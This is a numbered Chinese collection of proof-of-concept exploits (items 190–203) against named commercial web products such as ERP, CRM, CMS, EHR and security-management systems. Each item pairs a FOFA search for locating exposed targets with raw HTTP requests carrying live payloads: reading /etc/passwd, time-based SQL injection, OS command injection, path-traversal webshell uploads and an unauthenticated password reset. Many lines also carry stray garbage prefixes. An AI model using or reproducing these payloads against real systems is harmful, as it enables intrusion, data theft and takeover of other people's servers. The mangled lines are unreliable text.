, g1 p: y% S8 i3 C# s190. 短视频矩阵营销系统 poihuoqu 任意文件读取
- N+ O2 m" O" d! {& u" c. pFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
0 ~2 E+ {# m" U* L3 T; U* {/ T# MHost: your-ip
  n5 h$ ?2 ^0 Q" wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. ?9 P, @7 k+ Z5 M" V, G' v2 I& gContent-Type: application/x-www-form-urlencoded
' E! w6 g1 a+ T9 E: vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) m' ?' O6 q) b$ v& d4 ~4 b
. C2 O$ m9 H2 \7 |poi=file:///etc/passwd
% X7 n5 A; v1 p; u# l
! @  p+ U" H3 {( V: {* S& @
7 M0 \! `1 J0 ^191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
- j: K- M* Y! \! \POST /CDGServer3/js/../NavigationAjax HTTP/1.1
# c" G0 ^, W1 \0 T( m$ f) I7 HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 H  N+ _  g9 ^1 V
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
- Z/ K- Q4 l, ^. Q$ b# }+ E! s5 s' |FOFA：title="用户登录_富通天下外贸ERP"
; r" \" K0 z6 @" s" oPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
6 V+ r9 ^% H( |( s% }# U3 EHost: your-ip
1 y& S: q& [3 R9 f" ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
" K) O, s1 O$ K! W! X) CContent-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
1 ~0 h: h4 c4 y8 L4 Z4 q; i1 w/ l/ xusing System;
- R: U* K' b" ~1 M6 g, ~9 iusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
0 G. v8 i/ k2 Q' k  u9 J{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
2 N' k1 m$ p6 J/ m* A{
ctx.Response.Write("test");
' x8 d% g) V* l+ e! \}
}


$ E  a; E4 y+ Q; ?! M' S193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
1 a# K( `) a0 ^/ Z) D. }$ O; sGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
! v1 E7 A9 w. B$ _Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
3 R2 g  \$ ^# {3 u1 {" GUser-Agent: Mozilla/5.0
6 Q; I! D: A7 {! x
; x8 i+ O# n) N. Q# X: h- w1 D8 t
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
7 C5 _/ D& J4 X1 VHost:
" T  h# ]7 {  J1 i( t" m. F. lUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
6 u9 @$ k! k3 N1 tContent-Type: application/x-www-form-urlencoded
! U5 O) S. r# K8 s9 ?3 \( GContent-Length: 84
- h: u( s5 o. I5 L7 ^& D* f
' b% h+ P/ c8 w( P3 s6 E( ~/ Dparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
' s4 m+ Z- ]1 a3 Z6 L
+ i; ?( ?8 t- O
GET /master/img/config HTTP/1.1
2 S1 R: n/ r( ^- }; Y+ OHost:
- e+ m5 s8 m5 M3 @" T7 [User-Agent: Mozilla/5.0

. Y, }4 y; G& g, M$ j
- k3 Z  g/ B# n* D1 P194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
2 G1 h; v  @+ g/ T+ t7 QFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
6 T9 {: }) d3 K! v/ U) b1 P% VHost: host
1 A$ T' W$ O- ]- v" P! XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* h" i- x2 U7 IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
# o( G) Q2 o0 `. @+ k( mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
# {9 z0 ?% M8 ~1 g( e3 `' K------WebKitFormBoundaryKNt0t4vBe8cX9rZk
# Y5 k1 b- H9 y! }9 K( @9 ^" x, l
% K, D& `5 z! }+ B! R1 m; X) YContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
/ _9 }; t2 |5 ~2 ?# b9 JContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
1 Y3 S& S+ K" n  T  G; _, b9 J {"iq":{"query":{"UpdateType":"mail"}}}
7 U1 {  ^; e' \* O6 }  K& t( C------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
' @! d8 j) j' X
- `. X% `/ J1 |6 H1 _$ Z
: r# k1 m/ {% W$ R195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
7 R& D( Z0 B. U: }7 q  [; HHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
" c  }% E0 S& K, RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; `" k: [+ r" p5 Q& o! V) [Accept: */*
8 Y0 n, N7 O) |9 mAccept-Encoding: gzip, deflate
6 Q$ Z# f" ^* k% ]Accept-Language: zh-CN,zh;q=0.9
Connection: close
3 |. v  `/ a  u- O" iContent-Type: application/x-www-form-urlencoded
1 q$ S$ b. F0 E" @; a0 H+ Y( n( yContent-Length: 68

$ B- V4 ^7 {' R8 f$ r- I& O! o/ V5 \{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
" P; U3 N5 Q9 y

196. 河南省风速科技统一认证平台密码重置
7 A' O% e3 E# e8 B* S% Q" BFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
3 k  h* v  h7 w. KPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
  A4 T6 F$ |9 TContent-Type: application/json;charset=UTF-8
8 I4 P, ~( N# N" h4 M0 a7 S( OX-Requested-With: XMLHttpRequest
9 J" i3 A7 i) |5 \# n' X6 WHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
! Z5 O: D  s3 z% Y$ Z5 h; tConnection: close

) z; _5 {- j: N. l/ k/ ^{"xgh":"test","newPass":"test666","email":""}
1 x7 m  z! n4 [6 r& j
6 l) k# ^4 K2 S, m1 e; W* V

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
6 \3 N" @5 K9 C' _- Q3 G: E: \  j' ]FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
! ?0 C4 G1 ]. Y) F7 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
! U7 i% x9 e0 e( B- h7 U8 {Connection: close

+ j) O. P1 ?7 U. Y
3 T8 J0 d9 K! j" b
198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
' ^: j& \; \/ G/ e' \" D* VConnection: close
6 T2 K; p* o2 U0 _. E6 u

199. cockpit系统assetsmanager_upload接口 文件上传
" S8 g0 l) g# N' J! L. F
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
5 W/ C4 a; ?3 S" B& z3 f
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json
3 F3 W1 ^# C2 n' C$ h
) N+ {$ q8 ?& q3 `& V- _{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
3 A% N/ z* A  x: `" b8 \1 \2 i
1 e+ e5 T1 B% V4 `6 }  y0 x& N响应：200，返回值:
! X( I5 S( e6 g- p9 JSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
9 m! R: M. m' W9 HFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
" W- \, }, X( r# b, TContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

+ S" T5 W$ L- c2 q) S- Z, W<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
" Q/ F0 m0 _7 y5 i' h% S
-----------------------------36D28FBc36bd6feE7Fb3--
4 D: C- u6 S. s5 x9 O

/storage/uploads/tttt.php
, |. J5 v+ k, X7 l
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
( Y1 u/ i' M  k. Y+ ZGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
) Z  W6 j: a. c$ ]7 P. TCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: M8 b& v3 J4 P# ~7 GAccept-Encoding: gzip, deflate
1 t# t( U4 c( K6 fAccept-Language: zh-CN,zh;q=0.9
+ ?* @% N$ S: ?7 e9 n$ i( E
) O; c2 y# T8 I8 K7 ]& i" F
201. 方正全媒体新闻采编系统 binary SQL注入
' E2 z2 H' b% w6 IFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
+ h) o5 |1 o6 e0 O% Y; TPOST /newsedit/newsplan/task/binary.do HTTP/1.1
5 C. s6 p% B1 a( i7 n; G/ eContent-Type: application/x-www-form-urlencoded
3 J4 ^7 U' f0 `3 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" ^: `8 B7 U: B: k2 e; ^" @Connection: close
+ V" g+ Y( Q3 [
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
1 E' U6 I- k0 x$ k9 e* [
: t$ _$ s8 E1 \4 M" _0 d
( K; q! S5 s$ h$ ~6 B! ^8 S# g, b202. 微擎系统 AccountEdit任意文件上传
1 _. d! K7 H9 S8 P8 x) B; zFOFA：body="/Widgets/WidgetCollection/"
) M6 U. J2 S. D! [! @" h获取__VIEWSTATE和__EVENTVALIDATION值
) L; m4 a. o4 a! t( i& S% l! ZGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
) V9 r- U  h7 Z0 l& @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
, F6 B( q- r* \* W; l! w( W, bContent-Length: 0

! b/ S- e/ O/ @4 \3 L+ }4 b8 r/ I: u
替换__VIEWSTATE和__EVENTVALIDATION值
. F) ~/ Q9 G1 n2 z% Q0 ]POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

: I1 _; o2 Y3 I6 \-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
! ?7 e- W" S- V; q6 SContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
' w; R7 m. u/ S" N1 R0 d3 K9 GContent-Type: text/plain

. |. n0 G- U: F) L8 F& FHello World!
-----------------------------786435874t38587593865736587346567358735687
, L- m2 b: J- [: o0 X. _Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
% Y1 E. T# H/ s- {3 {% P- u
9 u1 N! R2 O0 [/ U1 j) @上传图片
-----------------------------786435874t38587593865736587346567358735687
# Q- q5 M- x8 R2 j, c9 _8 qContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
( X/ {5 K6 n/ t% E
, {& e* n( d  V9 }  v
-----------------------------786435874t38587593865736587346567358735687
% b& p2 I/ K7 j' g) y+ wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

& k: _5 R1 C. w) Y2 Z5 a4 K; {
-----------------------------786435874t38587593865736587346567358735687--
7 Z6 u3 ~: n& }9 M/ I9 C% D' Y
0 N; ^' N' J# s" O
/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
) r( j' q2 E: J4 t0 RFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
  ]" V* t( n% z/ v% A- {Accept-Encoding: gzip
* M' E( v& T  }, E: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
5 t4 m) p8 o( e3 l. x; w/ R0 z
* h# f9 A" R* @2 Y0 x6 I0 ?, a) M/ p------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
+ ^- d9 A; Y, k4 n
<% out.print("hello,eHR");%>
; ]8 B/ p- ^' g------WebKitFormBoundaryt7WbDl1tXogoZys4--

! h1 D9 s! i& }3 t9 @

% j3 M6 }# B1 e9 s

7 ]& t8 l5 A" l: E( f6 F